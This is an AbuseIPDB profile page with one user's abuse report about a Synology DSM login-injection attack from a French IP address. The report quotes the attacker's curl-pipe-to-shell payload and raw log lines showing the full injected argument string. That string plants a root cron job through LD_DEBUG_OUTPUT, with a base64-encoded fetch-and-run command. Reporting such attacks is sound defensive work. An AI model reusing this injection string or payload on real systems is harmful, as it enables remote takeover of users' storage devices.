User chris1619
joined AbuseIPDB in October 2026 and has reported 1 IP
addresses.
Standing (weight) is
Unknown.
ACTIVE USER
| IP |
Date |
Comment |
Categories |
|
🇫🇷
95.182.96.97
|
|
Synology DSM SYNO.API.Auth login injection (LD_DEBUG_OUTPUT -> /etc/cron.d). Payload: curl -s http:/ ...
show more
Synology DSM SYNO.API.Auth login injection (LD_DEBUG_OUTPUT -> /etc/cron.d). Payload: curl -s http://95.182.96.97/xdy5.sh|sh. Attempts 2026-10-28 02:19, 09:12 and 2026-10-29 10:45-10:46 CET; blocked.
Logs (own hostnames redacted):
2026-10-29T10:45:59+01:00 synoscgi_SYNO.API.Auth_7_login[9016]: pam_unix(webui:auth): authentication failure; rhost=95.182.96.97
2026-10-29T10:46:00+01:00 synoplugind: [POST][weblogin][MAIN] Args=[USER=admin PLUGIN_VALUE_END LD_PRELOAD=PLUGIN_VALUE_START NOP * * * * * root echo Y3VybCAtcyBodHRwOi8vOTUuMTgyLjk2Ljk3L3hkeTUuc2h8c2g= |base64 -d|sh NOP PLUGIN_VALUE_END LD_DEBUG=libs LD_DEBUG_OUTPUT=/etc/cron.d/synotuvr ESCAPE=PLUGIN_VALUE_START NOP,TYPE=passwd,SESSION=webui,API_VERSION=7,IP=95.182.96.97,STATUS=fail,PORT=443,IS_HTTPS=yes]
show less
|
Web App Attack
Hacking
|